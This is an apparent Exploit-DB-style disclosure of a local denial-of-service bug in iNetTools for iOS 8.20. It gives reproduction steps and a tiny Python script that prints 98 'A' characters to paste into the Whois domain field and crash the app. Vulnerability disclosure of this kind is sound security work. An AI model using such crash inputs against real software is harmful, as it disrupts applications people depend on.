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# Exploit Title: iNetTools for iOS 8.20 - 'Whois' Denial of Service (PoC)  
# Discovery by: Ivan Marmolejo  
# Discovery Date: 2019-11-25  
# Vendor Homepage: https://apps.apple.com/mx/app/inettools-ping-dns-port-scan/id561659975  
# Software Link: App Store for iOS devices  
# Tested Version: 8.20  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: iPhone 6s iOS 13.2  
  
# Summary: iNetTools is a suite of network diagnose tools on iPhone and iPad. It provides essential tools such as   
# Ping, DNS Lookup, Trace Route, Port Scan, Whois, Server Monitor, and Lan Scan.  
# Steps to Produce the Crash:  
  
# 1.- Run python code: iNetTools.py  
# 2.- Copy content to clipboard  
# 3.- Open "iNetTools for iOS"  
# 4.- Go to "Whois"  
# 5.- Paste ClipBoard on "Domain Name"  
# 6.- Start  
# 7.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 98  
print (buffer)